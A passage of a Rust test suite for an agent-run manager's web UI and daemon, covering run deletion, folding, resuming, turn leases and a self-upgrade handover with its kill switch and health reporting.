14959 assert!(
14960 res.json()["error"]
14961 .as_str()
14962 .unwrap()
14963 .contains("live daemon"),
14964 "the refusal must say who is holding it"
14965 );
14966 assert!(
14967 runs.join(run_running).exists(),
14968 "a run in flight keeps its directory"
14969 );
14970
14971 let run_unfolded = "20260901-000000-unfd";
14973 let mut state2 = RunState::new(
14974 PathBuf::from("/repo"),
14975 "main".to_owned(),
14976 "abc".to_owned(),
14977 "instruction".to_owned(),
14978 Config::default(),
14979 );
14980 state2.id = run_unfolded.to_owned();
14981 state2.status = RunStatus::Ready;
14982 state2.candidates.push(crate::run::Candidate {
14983 index: 0,
14984 label: 'A',
14985 agent: "a".to_owned(),
14986 branch: "b".to_owned(),
14987 worktree: PathBuf::from("/w"),
14988 summary: String::new(),
14989 stat: String::new(),
14990 files: 1,
14991 commits: 1,
14992 empty: false,
14993 failed: None,
14994 verified_noop: None,
14995 duration_ms: 0,
14996 folded: false,
14997 });
14998 let dir2 = runs.join(run_unfolded);
14999 std::fs::create_dir_all(&dir2).expect("create dir2");
15000 std::fs::write(
15001 dir2.join("run.json"),
15002 serde_json::to_string(&state2).unwrap(),
15003 )
15004 .expect("write run.json");
15005
15006 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
15007 assert_eq!(res.status, 409);
15008 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
15009 assert!(dir2.exists(), "unfolded run directory is kept");
15010
15011 let res = fx.delete("/api/runs/nonexistent").await;
15013 assert_eq!(res.status, 404);
15014 }
15015
15016 #[test]
15025 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
15026 let start = APP_JS
15027 .find("function renderStats() {")
15028 .expect("renderStats");
15029 let end = start
15030 + APP_JS[start..]
15031 .find("function statsTile(")
15032 .expect("the next top-level function");
15033 let body = &APP_JS[start..end];
15034
15035 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
15036 let gate_end = gate_start
15037 + body[gate_start..]
15038 .find("}\n renderStatsQueue")
15039 .expect("the gate's own closing brace, right before the unconditional call");
15040 let gated = &body[gate_start..gate_end];
15041
15042 assert_eq!(
15043 body.matches("renderStatsQueue(").count(),
15044 1,
15045 "renderStats must call renderStatsQueue exactly once: {body}"
15046 );
15047 assert!(
15048 !gated.contains("renderStatsQueue"),
15049 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
15050 run-derived panels on an empty run history - the queue panel has to render \
15051 regardless: {gated}"
15052 );
15053 }
15054
15055 #[test]
15056 fn web_ui_delete_contract_in_front_end() {
15057 assert!(APP_JS.contains("deleteRun:"));
15059 assert!(APP_JS.contains("deleteTask:"));
15060
15061 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
15063 ..APP_JS.find("function renderRuns").unwrap()];
15064 assert!(!run_cards_slice.to_lowercase().contains("delete"));
15065
15066 assert!(APP_JS.contains("renderRunDelete"));
15068 assert!(APP_JS.contains("runDeleteReason"));
15069 assert!(APP_JS.contains("magi fold"));
15070 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
15071
15072 assert!(APP_JS.contains("cancel.focus"));
15074 assert!(APP_JS.contains("armedRunDelete"));
15075 assert!(APP_JS.contains("renderTaskDeleteBox"));
15076 assert!(APP_JS.contains("armed${cap(key)}"));
15077
15078 assert!(APP_JS.contains("disabled: status === \"running\""));
15080 }
15081
15082 #[test]
15102 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
15103 let build = APP_JS
15104 .find("function createRunCard")
15105 .expect("createRunCard exists");
15106 let update = APP_JS
15107 .find("function updateRunCard")
15108 .expect("updateRunCard exists");
15109 let end = APP_JS
15110 .find("function renderRuns")
15111 .expect("renderRuns exists");
15112
15113 let builder = &APP_JS[build..update];
15115 let open = builder.find("refs = {").expect("createRunCard sets refs");
15116 let literal = &builder[open + "refs = {".len()..];
15117 let close = literal.find('}').expect("the refs literal is closed");
15118 let published: HashSet<&str> = literal[..close]
15119 .split(',')
15120 .filter_map(|entry| entry.split(':').next())
15122 .map(str::trim)
15123 .filter(|name| !name.is_empty())
15124 .collect();
15125 assert!(
15126 published.len() > 5,
15127 "the refs literal did not parse into names: {published:?}"
15128 );
15129
15130 let mut used: Vec<&str> = Vec::new();
15133 let updaters = &APP_JS[update..end];
15134 for (at, _) in updaters.match_indices("r.") {
15135 let before = updaters[..at].chars().next_back();
15138 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
15139 continue;
15140 }
15141 let rest = &updaters[at + 2..];
15142 let len = rest
15143 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
15144 .unwrap_or(rest.len());
15145 if len > 0 {
15146 used.push(&rest[..len]);
15147 }
15148 }
15149 assert!(
15150 used.len() > 5,
15151 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
15152 );
15153
15154 let missing: Vec<&str> = used
15155 .iter()
15156 .copied()
15157 .filter(|name| !published.contains(name))
15158 .collect();
15159 assert!(
15160 missing.is_empty(),
15161 "a run card's updater reaches for {missing:?}, which `createRunCard` \
15162 never put in `refs` - every card will throw and the list will \
15163 render empty under a count line that says otherwise. Published: \
15164 {published:?}"
15165 );
15166 }
15167
15168 #[tokio::test]
15169 async fn folding_from_the_phone_reports_what_it_removed() {
15170 let fx = Fixture::start().await;
15171 let runs = fx.runs();
15172
15173 let id = "20260901-000000-fold";
15177 write_run(&runs, id, RunStatus::Stalled);
15178 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15179 assert_eq!(res.status, 200);
15180 assert_eq!(res.json()["removed_count"], 0);
15181 assert_eq!(res.json()["run"], id);
15182 assert!(
15183 runs.join(id).exists(),
15184 "a fold keeps the run's record; only the worktrees go"
15185 );
15186 }
15187
15188 #[tokio::test]
15189 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
15190 let fx = Fixture::start().await;
15191 let runs = fx.runs();
15192 let wt = fx.home.path().join("wt").join("magi").join("dead");
15193 let id = "20260901-000000-dead";
15194 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15195 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15196 std::fs::create_dir_all(&wt).expect("worktree dir");
15197
15198 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15199 assert_eq!(res.status, 200, "{}", res.body);
15200 assert!(
15201 res.json()["removed_count"].as_u64().unwrap() > 0,
15202 "the worktree this build could not read a state for still went"
15203 );
15204 assert!(
15205 !runs.join(id).exists(),
15206 "an unreadable run has no candidate list to fold selectively, so \
15207 the whole record goes - same as `magi fold` on the CLI"
15208 );
15209 }
15210
15211 #[tokio::test]
15212 async fn deleting_an_unreadable_run_removes_it_wholesale() {
15213 let fx = Fixture::start().await;
15214 let runs = fx.runs();
15215 let wt = fx.home.path().join("wt").join("magi").join("gone");
15216 let id = "20260901-000000-gone";
15217 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15218 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15219 std::fs::create_dir_all(&wt).expect("worktree dir");
15220
15221 let res = fx.delete(&format!("/api/runs/{id}")).await;
15222 assert_eq!(res.status, 204, "{}", res.body);
15223 assert!(!runs.join(id).exists(), "the broken record is gone");
15224 assert!(!wt.exists(), "its worktree is gone too");
15225 }
15226
15227 #[tokio::test]
15228 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
15229 let fx = Fixture::start().await;
15230 let runs = fx.runs();
15231 let id = "20260901-000000-live";
15232 write_run(&runs, id, RunStatus::Implementing);
15233
15234 let mut beat = crate::daemon::Status::new();
15235 beat.current = vec![crate::daemon::Current {
15236 task: "20260901-000000-task".to_owned(),
15237 run: id.to_owned(),
15238 }];
15239 beat.updated_at = jiff::Timestamp::now();
15240 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15241 .expect("publish a heartbeat");
15242
15243 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15244 assert_eq!(res.status, 409);
15245 assert!(
15246 res.json()["error"]
15247 .as_str()
15248 .unwrap()
15249 .contains("live daemon"),
15250 "folding under a running agent would pull its worktree away"
15251 );
15252 }
15253
15254 #[tokio::test]
15255 async fn fold_merged_requires_a_pr_url() {
15256 let fx = Fixture::start().await;
15257 let runs = fx.runs();
15258 let id = "20260901-000000-nourl";
15259 write_run(&runs, id, RunStatus::Blocked);
15260
15261 let res = fx
15262 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
15263 .await;
15264 assert_eq!(res.status, 400, "{}", res.body);
15265
15266 let blank = fx
15267 .post(
15268 &format!("/api/runs/{id}/fold-merged"),
15269 Some(r#"{"pr_url":" "}"#),
15270 )
15271 .await;
15272 assert_eq!(blank.status, 400, "{}", blank.body);
15273 }
15274
15275 #[tokio::test]
15276 async fn fold_merged_is_404_for_an_unknown_run() {
15277 let fx = Fixture::start().await;
15278 let res = fx
15279 .post(
15280 "/api/runs/nosuchrun/fold-merged",
15281 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15282 )
15283 .await;
15284 assert_eq!(res.status, 404, "{}", res.body);
15285 }
15286
15287 #[tokio::test]
15288 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
15289 let fx = Fixture::start().await;
15290 let runs = fx.runs();
15291 let id = "20260901-000000-livemerge";
15292 write_run(&runs, id, RunStatus::Blocked);
15293
15294 let mut beat = crate::daemon::Status::new();
15295 beat.current = vec![crate::daemon::Current {
15296 task: "20260901-000000-task".to_owned(),
15297 run: id.to_owned(),
15298 }];
15299 beat.updated_at = jiff::Timestamp::now();
15300 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15301 .expect("publish a heartbeat");
15302
15303 let res = fx
15304 .post(
15305 &format!("/api/runs/{id}/fold-merged"),
15306 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15307 )
15308 .await;
15309 assert_eq!(res.status, 409, "{}", res.body);
15310 assert!(
15311 res.json()["error"]
15312 .as_str()
15313 .unwrap()
15314 .contains("live daemon"),
15315 "correcting a run's merge underneath a running agent would race \
15316 whatever it is doing to the same `status`/`merge` fields"
15317 );
15318 }
15319
15320 #[tokio::test]
15325 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
15326 let fx = Fixture::start().await;
15327 let runs = fx.runs();
15328 let id = "20260901-000000-unconfirmed";
15329 write_run(&runs, id, RunStatus::Blocked);
15330
15331 let res = fx
15332 .post(
15333 &format!("/api/runs/{id}/fold-merged"),
15334 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15335 )
15336 .await;
15337 assert_eq!(res.status, 400, "{}", res.body);
15338 assert_eq!(
15339 read_run(&runs, id).unwrap().status,
15340 RunStatus::Blocked,
15341 "a pull request that could not be confirmed merged must leave \
15342 the run exactly where it was"
15343 );
15344 }
15345
15346 #[tokio::test]
15347 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
15348 let fx = Fixture::start().await;
15349 let runs = fx.runs();
15350
15351 for (status, word) in [
15357 (RunStatus::Merged, "merged"),
15358 (RunStatus::Ready, "ready"),
15359 (RunStatus::Failed, "failed"),
15360 ] {
15361 let id = format!("20260901-000000-{}", &word[..4]);
15362 write_run(&runs, &id, status);
15363 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
15364 assert_eq!(res.status, 409, "{word} must not be resumable");
15365 let err = res.json()["error"].as_str().unwrap().to_owned();
15366 assert!(err.contains(word), "the refusal names the status: {err}");
15367 }
15368
15369 let mid = "20260901-000000-midf";
15374 write_run(&runs, mid, RunStatus::Reviewing);
15375 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
15376 assert_eq!(res.status, 202, "an interrupted run is resumable");
15377 }
15378
15379 #[tokio::test]
15380 async fn resume_is_refused_while_the_loop_is_running() {
15381 let fx = Fixture::start().await;
15382 let runs = fx.runs();
15383 let stalled = "20260901-000000-stal";
15384 write_run(&runs, stalled, RunStatus::Stalled);
15385
15386 let mut beat = crate::daemon::Status::new();
15390 beat.current = vec![crate::daemon::Current {
15391 task: "20260901-000000-task".to_owned(),
15392 run: "20260901-000000-othr".to_owned(),
15393 }];
15394 beat.updated_at = jiff::Timestamp::now();
15395 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15396 .expect("publish a heartbeat");
15397
15398 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15399 assert_eq!(res.status, 409);
15400 let err = res.json()["error"].as_str().unwrap().to_owned();
15401 assert!(err.contains("othr"), "it names what the loop is on: {err}");
15402 assert!(err.contains("stop it first"), "{err}");
15403 }
15404
15405 #[test]
15406 fn a_run_cannot_be_resumed_twice_at_once() {
15407 let home = TempDir::new().expect("temp home");
15408 let ui = Ui::new(
15409 Queue::at(home.path().join("queue")),
15410 Questions::at(home.path().join("questions")),
15411 Talks::at(home.path().join("talks")),
15412 home.path().join("runs"),
15413 home.path().to_path_buf(),
15414 PathBuf::from("/repo"),
15415 )
15416 .with_worktrees_root(home.path().join("wt"));
15417 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15418 let again = ui.begin_resume("20260901-000000-once");
15419 assert!(again.is_err(), "a second tap must not start a second graph");
15420 drop(first);
15421 assert!(
15422 ui.begin_resume("20260901-000000-once").is_ok(),
15423 "and the claim is released when the attempt ends"
15424 );
15425 }
15426
15427 #[test]
15428 fn talk_thinking_tracks_only_its_held_turn_claim() {
15429 let home = TempDir::new().expect("temp home");
15430 let ui = Ui::new(
15431 Queue::at(home.path().join("queue")),
15432 Questions::at(home.path().join("questions")),
15433 Talks::at(home.path().join("talks")),
15434 home.path().join("runs"),
15435 home.path().to_path_buf(),
15436 PathBuf::from("/repo"),
15437 )
15438 .with_worktrees_root(home.path().join("wt"));
15439 let id = "20260901-000000-once";
15440
15441 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15442 let turn = ui.begin_talk_turn(id).expect("claim turn");
15443 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15444 assert!(
15445 !ui.is_thinking("20260901-000000-other"),
15446 "one talk's turn does not make another talk busy"
15447 );
15448 drop(turn);
15449 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15450 }
15451
15452 #[test]
15453 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15454 let home = TempDir::new().expect("temp home");
15455 let talks = Talks::at(home.path().join("talks"));
15456 let ui = Ui::new(
15457 Queue::at(home.path().join("queue")),
15458 Questions::at(home.path().join("questions")),
15459 talks.clone(),
15460 home.path().join("runs"),
15461 home.path().to_path_buf(),
15462 PathBuf::from("/repo"),
15463 )
15464 .with_worktrees_root(home.path().join("wt"));
15465 let id = "20260901-000000-cross";
15466
15467 let other = Talks::at(home.path().join("talks"))
15468 .claim_turn(id)
15469 .expect("claim")
15470 .expect("the other process wins");
15471 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15472 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15473 assert!(
15474 matches!(
15475 ui.begin_talk_turn_unless_pending(id).expect("start"),
15476 TalkTurnStart::Foreign
15477 ),
15478 "a foreign holder is refused, not queued behind"
15479 );
15480 assert!(
15481 !ui.talk_turns.lock().unwrap().live.contains(id),
15482 "a refused claim leaves no in-process entry behind"
15483 );
15484 drop(other);
15485 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
15486 assert!(talks.turn_held(id), "the web turn holds the lease");
15487 drop(turn);
15488 assert!(
15489 !talks.turn_held(id),
15490 "dropping the guard releases the lease"
15491 );
15492 }
15493
15494 #[test]
15495 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
15496 let home = TempDir::new().expect("temp home");
15497 let talks = Talks::at(home.path().join("talks"));
15498 let ui = Ui::new(
15499 Queue::at(home.path().join("queue")),
15500 Questions::at(home.path().join("questions")),
15501 talks.clone(),
15502 home.path().join("runs"),
15503 home.path().to_path_buf(),
15504 PathBuf::from("/repo"),
15505 )
15506 .with_worktrees_root(home.path().join("wt"));
15507 let id = "20260901-000000-order";
15508 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15509 let slots = ui.talk_turns.lock().unwrap();
15511 let dropper = std::thread::spawn(move || drop(turn));
15512 let start = std::time::Instant::now();
15513 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
15514 std::thread::sleep(Duration::from_millis(5));
15515 }
15516 assert!(!talks.turn_held(id), "the lease is released first");
15517 assert!(slots.live.contains(id), "the slot is still held meanwhile");
15518 drop(slots);
15519 dropper.join().expect("join");
15520 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
15521 }
15522
15523 #[tokio::test]
15524 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
15525 let fx = Fixture::start().await;
15526 let mut beat = crate::daemon::Status::new();
15530 beat.pid = 4321;
15531 beat.updated_at = jiff::Timestamp::now();
15532 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15533 .expect("publish a heartbeat");
15534
15535 let res = fx.post("/api/upgrade", None).await;
15536 assert_eq!(res.status, 409);
15537 let err = res.json()["error"].as_str().unwrap().to_owned();
15538 assert!(err.contains("4321"), "the refusal names the owner: {err}");
15539 assert!(err.contains("old one against the same queue"), "{err}");
15540 }
15541
15542 #[test]
15549 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
15550 assert!(!should_spawn_recheck(&crate::config::Update {
15551 mode: UpdateMode::Off,
15552 interval: None,
15553 }));
15554
15555 unsafe {
15558 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15559 }
15560 let killed = should_spawn_recheck(&crate::config::Update {
15561 mode: UpdateMode::Notify,
15562 interval: None,
15563 });
15564 unsafe {
15565 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15566 }
15567 assert!(
15568 !killed,
15569 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
15570 one-time startup check"
15571 );
15572
15573 assert!(should_spawn_recheck(&crate::config::Update {
15574 mode: UpdateMode::Notify,
15575 interval: None,
15576 }));
15577 }
15578
15579 #[test]
15585 fn recheck_poll_period_tracks_a_short_configured_interval() {
15586 let short = crate::config::Update {
15587 mode: UpdateMode::Notify,
15588 interval: Some("1m".to_owned()),
15589 };
15590 let period = recheck_poll_period(&short);
15591 assert!(
15592 period <= Duration::from_secs(30),
15593 "a one-minute interval must wake the task far sooner than the \
15594 default ceiling, or the deck would not notice within the \
15595 interval the operator configured: got {period:?}"
15596 );
15597
15598 let default = crate::config::Update {
15599 mode: UpdateMode::Notify,
15600 interval: None,
15601 };
15602 assert_eq!(
15603 recheck_poll_period(&default),
15604 UPDATE_RECHECK_POLL_MAX,
15605 "the default day-long interval should poll at the (capped) \
15606 ceiling rather than needlessly often"
15607 );
15608 }
15609
15610 #[test]
15618 fn recheck_skips_the_network_before_the_interval_elapses() {
15619 let dir = TempDir::new().expect("temp dir");
15620 let path = dir.path().join("state.json");
15621 let state = kaishin::UpdateCheckState {
15622 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
15623 last_known_latest: None,
15624 last_known_url: None,
15625 };
15626 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
15627
15628 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
15629 assert!(
15630 !update_recheck_due(&checker, None),
15631 "a check made moments ago must not be repeated before the \
15632 configured interval elapses"
15633 );
15634 }
15635
15636 #[test]
15642 fn recheck_defers_to_an_upgrade_already_in_flight() {
15643 let dir = TempDir::new().expect("temp dir");
15644 let path = dir.path().join("state.json");
15645 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
15646 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
15647
15648 assert!(
15649 !update_recheck_due(&checker, Some(&progress)),
15650 "a recheck must not run while an upgrade this deck started is \
15651 still moving"
15652 );
15653 }
15654
15655 #[tokio::test]
15656 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
15657 unsafe {
15669 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
15670 }
15671 let fx = Fixture::start().await;
15672 let res = fx.post("/api/upgrade", None).await;
15673 unsafe {
15674 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
15675 }
15676 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15677 let body = res.json();
15678 assert!(body["to"].is_null(), "there was no release to move to");
15679 assert!(body["parked"].is_null(), "and nothing was parked");
15680 assert!(
15681 body["detail"]
15682 .as_str()
15683 .unwrap()
15684 .contains("disabled by MAGI_NO_AUTOUPDATE"),
15685 "{body:?}"
15686 );
15687 }
15688
15689 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
15690 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
15691 p.stage = stage;
15692 p
15693 }
15694
15695 #[test]
15696 fn busy_stages_match_the_ui_set() {
15697 use crate::updater::Stage;
15698 assert!(APP_JS.contains(
15699 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
15700 ));
15701 for s in [
15702 Stage::Downloading,
15703 Stage::Replaced,
15704 Stage::Parking,
15705 Stage::Restarting,
15706 ] {
15707 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
15708 }
15709 for s in [Stage::Done, Stage::Failed] {
15710 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
15711 }
15712 assert!(upgrade_in_motion(None).is_none());
15713 }
15714
15715 #[tokio::test]
15716 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
15717 use crate::updater::Stage;
15718 for stage in [
15719 Stage::Downloading,
15720 Stage::Replaced,
15721 Stage::Parking,
15722 Stage::Restarting,
15723 ] {
15724 let fx = Fixture::start().await;
15725 let seeded = seeded_progress(stage);
15726 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
15727 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15728 .expect("read");
15729
15730 let res = fx.post("/api/upgrade", None).await;
15731 assert_eq!(res.status, 409, "{stage:?}");
15732 let err = res.json()["error"].as_str().unwrap().to_owned();
15733 assert!(err.contains("already in progress"), "{err}");
15734 assert!(err.contains(stage.as_str()), "{err}");
15735
15736 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
15737 .expect("read");
15738 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
15739 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
15740 .unwrap_or_default();
15741 assert!(!log.contains("signalling HANDOVER"), "{log}");
15742 }
15743 }
15744
15745 #[tokio::test]
15746 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
15747 use crate::updater::Stage;
15748 let repo = TempDir::new().expect("repo dir");
15749 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15750 .expect("write magi.toml");
15751 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15752 for stage in [Stage::Done, Stage::Failed] {
15753 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
15754 let res = fx.post("/api/upgrade", None).await;
15755 assert_eq!(res.status, 200, "{stage:?}");
15756 }
15757 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
15759 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
15760 }
15761
15762 #[tokio::test]
15763 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
15764 let repo = TempDir::new().expect("repo dir");
15780 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15781 .expect("write magi.toml");
15782 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15783
15784 let res = fx.post("/api/upgrade", None).await;
15790 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
15791 let body = res.json();
15792 assert!(body["to"].is_null(), "there was no release to move to");
15793 assert!(body["parked"].is_null(), "and nothing was parked");
15794 assert!(
15795 body["detail"]
15796 .as_str()
15797 .unwrap()
15798 .contains("nothing restarted"),
15799 "{body:?}"
15800 );
15801 }
15802
15803 #[tokio::test]
15804 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
15805 let repo = TempDir::new().expect("repo dir");
15810 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
15811 .expect("write magi.toml");
15812 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
15813
15814 let health = fx.get("/api/health").await.json();
15815 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
15816 assert_eq!(
15817 health["update"]["available"], false,
15818 "checking is off, which reads as \"unknown\", not \"none\""
15819 );
15820 assert!(health["update"]["to"].is_null());
15821 assert!(
15822 health["upgrade"].is_null(),
15823 "nothing has ever asked this deck to upgrade"
15824 );
15825 }
15826
15827 #[tokio::test]
15828 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
15829 let fx = Fixture::start().await;
15830 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
15831
15832 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15833 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15834 progress.advance(crate::updater::Stage::Parking);
15835 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15836
15837 let health = fx.get("/api/health").await.json();
15838 assert_eq!(health["upgrade"]["stage"], "parking");
15839 assert_eq!(health["upgrade"]["from"], "0.5.1");
15840 assert_eq!(health["upgrade"]["to"], "0.5.2");
15841 let waiting_on = health["upgrade"]["waiting_on"]
15842 .as_str()
15843 .expect("waiting_on is set while parking a known run");
15844 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15845 assert!(waiting_on.contains("implementing"), "{waiting_on}");
15846 }
15847
15848 #[tokio::test]
15849 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
15850 let fx = Fixture::start().await;
15851 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15852 progress.advance(crate::updater::Stage::Done);
15853 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15854
15855 let health = fx.get("/api/health").await.json();
15856 assert_eq!(health["upgrade"]["stage"], "done");
15857 assert!(
15858 health["upgrade"]["waiting_on"].is_null(),
15859 "nothing to wait on once it is done"
15860 );
15861 }
15862
15863 #[tokio::test]
15864 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
15865 let home = TempDir::new().expect("temp home");
15866 let runs = home.path().join("runs");
15867 std::fs::create_dir_all(&runs).expect("runs dir");
15868 let ui = Ui::new(
15869 Queue::at(home.path().join("queue")),
15870 Questions::at(home.path().join("questions")),
15871 Talks::at(home.path().join("talks")),
15872 runs,
15873 home.path().to_path_buf(),
15874 PathBuf::from("/repo/magi"),
15875 )
15876 .with_launch(launch_idle);
15877 let looping = ui.looping();
15878 let turns = ui.turns();
15879 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15880 .await
15881 .expect("bind loopback");
15882 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15883
15884 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15885 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15886
15887 hand_over(
15888 home.path(),
15889 &looping,
15890 &turns,
15891 &|_: &[String]| Duration::from_secs(5),
15892 served,
15893 |_| Ok(1),
15894 )
15895 .await
15896 .expect("hand over");
15897
15898 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
15899 assert_eq!(
15900 after.stage,
15901 crate::updater::Stage::Restarting,
15902 "hand_over owns the record through parking and up to restarting; \
15903 the successor is what finishes it"
15904 );
15905 }
15906
15907 #[tokio::test]
15910 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
15911 for fail in [false, true] {
15912 let home = TempDir::new().expect("temp home");
15913 let ui = idle_ui(&home);
15914 let looping = ui.looping();
15915 let turns = ui.turns();
15916 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15917 .await
15918 .expect("bind loopback");
15919 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15920 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15921 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15922
15923 let calls = std::sync::atomic::AtomicUsize::new(0);
15924 let outcome = hand_over(
15925 home.path(),
15926 &looping,
15927 &turns,
15928 &|_: &[String]| Duration::from_secs(5),
15929 served,
15930 |_| {
15931 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15932 if fail {
15933 anyhow::bail!("no exec")
15934 } else {
15935 Ok(4242)
15936 }
15937 },
15938 )
15939 .await;
15940 assert_eq!(outcome.is_err(), fail);
15941 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15942
15943 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15944 .expect("upgrade.log is written under the home");
15945 for step in [
15946 "entered",
15947 "finish_loop",
15948 "listener released",
15949 "starting the successor",
15950 ] {
15951 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15952 }
15953 assert!(
15954 log.contains(if fail { "did not start" } else { "pid 4242" }),
15955 "{log}"
15956 );
15957 }
15958 }
15959
15960 #[tokio::test]
15963 async fn the_handover_signal_wakes_one_waiter_once() {
15964 let signal = Notify::new();
15965 signal.notify_one();
15967 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15968 .await
15969 .expect("an early signal is still seen");
15970 assert!(
15972 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15973 .await
15974 .is_err(),
15975 "a consumed signal must not wake a second time"
15976 );
15977 let signal = std::sync::Arc::new(signal);
15979 let waiter = tokio::spawn({
15980 let signal = std::sync::Arc::clone(&signal);
